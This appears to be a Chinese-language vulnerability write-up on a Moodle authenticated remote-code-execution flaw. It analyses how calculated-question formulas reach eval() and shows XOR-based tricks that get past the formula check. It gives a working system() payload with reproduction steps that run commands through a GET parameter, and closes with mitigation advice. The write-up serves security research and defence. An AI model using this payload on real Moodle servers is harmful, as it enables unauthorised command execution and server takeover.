巧用异或绕过限制导致rce
字数 1080 2025-08-22 12:23:36
Moodle课程系统后台RCE漏洞分析与利用
0x00 系统介绍
Moodle (moodle.org) 是一个开源的在线教育系统(慕课),采用PHP+Mysql开发,主要功能模块包括:
- 课程管理
- 作业模块
- 聊天模块
- 投票模块
- 论坛模块
- 测验模块
- 资源模块
- 问卷调查模块
- 互动评价(workshop)
0x01 漏洞分析
漏洞背景
当教师出计算题时,可以使用变量(通配符)如{a},系统会检测公式合规性后传递给eval()执行。如果能绕过公式检测,就能执行任意方法。
关键代码分析
- calculate方法:
public function calculate($expression) {
// 检测公式错误
if ($error = qtype_calculated_find_formula_errors($expression)) {
throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '', $error);
}
$expression = $this->substitute_values_for_eval($expression);
if ($datasets = question_bank::get_qtype('calculated')->find_dataset_names($expression)) {
throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '',
'{' . reset($datasets) . '}');
}
return $this->calculate_raw($expression);
}
- calculate_raw方法:
protected function calculate_raw($expression) {
try {
if (@eval('return true; $result = ' . $expression . ';')) {
return eval('return ' . $expression . ';');
}
} catch (Throwable $e) {
}
throw new moodle_exception('illegalformulasyntax', 'qtype_calculated', '', $expression);
}
- 公式检测函数qtype_calculated_find_formula_errors:
function qtype_calculated_find_formula_errors($formula) {
// 检测PHP注释和标签
foreach (['//', '/*', '#', '<?', '?>'] as $commentstart) {
if (strpos($formula, $commentstart) !== false) {
return get_string('illegalformulasyntax', 'qtype_calculated', $commentstart);
}
}
// 替换变量为1.0
$formula = preg_replace(qtype_calculated::PLACEHODLER_REGEX, '1.0', $formula);
// 转换为小写并删除空格
$formula = strtolower(str_replace(' ', '', $formula));
// 定义安全运算符
$safeoperatorchar = '-+/*%>:^\~<?=&|!';
$operatorornumber = "[{$safeoperatorchar}.0-9eE]";
// 函数调用检测
while (preg_match("~(^|[{$safeoperatorchar},(])([a-z0-9_]*)" .
"\$({$operatorornumber}+(,{$operatorornumber}+((,{$operatorornumber}+)+)?)?)?\$~",$formula, $regs)) {
// 函数名和参数数量检查
switch ($regs[2]) {
// 省略具体检查逻辑...
}
// 替换函数调用为1.0
if ($regs[1]) {
$formula = str_replace($regs[0], $regs[1] . '1.0', $formula);
} else {
$formula = preg_replace('~^' . preg_quote($regs[2], '~') . '$[^)]*$~', '1.0', $formula);
}
}
// 最终字符检查
if (preg_match("~[^{$safeoperatorchar}.0-9eE]+~", $formula, $regs)) {
return get_string('illegalformulasyntax', 'qtype_calculated', $regs[0]);
} else {
return false;
}
}
0x02 绕过分析
初始绕过思路
-
利用异或运算符(^):
- 安全运算符中包含
^(异或) - 可以利用
acos(2)返回"NAN"的特性构造字符串 - 示例:
(acos(2) . 1) ^ (0 . 0 . 0) ^ (1 . 1 . 1)=> "NAN1" ^ "000" ^ "111" => "O"
- 安全运算符中包含
-
构造任意字符串:
- 通过组合不同的数字和运算符可以构造出任意字符串
- 示例构造"PRINF":
(acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0) -
利用可变函数特性:
- PHP支持
"function_name"()形式的可变函数调用 - 但直接使用
(xxx)()形式会被检测阻止
- PHP支持
-
利用变量替换:
- 系统会将
{a}替换为(a) - 构造
"phpinfo"{a}=>"phpinfo"(a)=>phpinfo(1) - 示例构造"phpinfo":
((acos(2) . 0+acos(2) . 0+acos(2)) ^ (2 . 1 . 1 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . 0 . 0 . 0) ^ (0 . 0 . -4 . 8 . 8 . 1) ^ (-8 . 2 . 3 . 7 . 0 . 0)) - 系统会将
0x03 再绕过
最终RCE方案
-
利用可变变量特性:
- PHP支持
->{..}访问类成员变量 ->在安全运算符中- 构造payload:
(1)->{system($_GET[chr(97)])}
- PHP支持
-
绕过变量替换:
- 前端将数据集
<select>的value置空 - 防止
{..}被替换为1.0
- 前端将数据集
-
绕过引号限制:
- 使用
[chr(97)]代替['a'] - 通过GET参数a传递命令
- 使用
0x04 漏洞复现步骤
-
在题库中创建题目,公式设置为payload:
(1)->{system($_GET[chr(97)])} -
在配置变量数据集选项中将value置空
-
点击下一页时抓包,添加参数
a=命令执行:http://target/page.php?a=ipconfig
总结
该漏洞利用链的关键点:
- 利用异或运算构造字符串
- 利用PHP可变函数和可变变量特性
- 巧妙绕过公式检测的多重限制
- 通过GET参数传递命令实现RCE
防护建议:
- 严格限制eval执行的输入
- 加强公式检测逻辑
- 禁用危险函数
- 及时更新系统补丁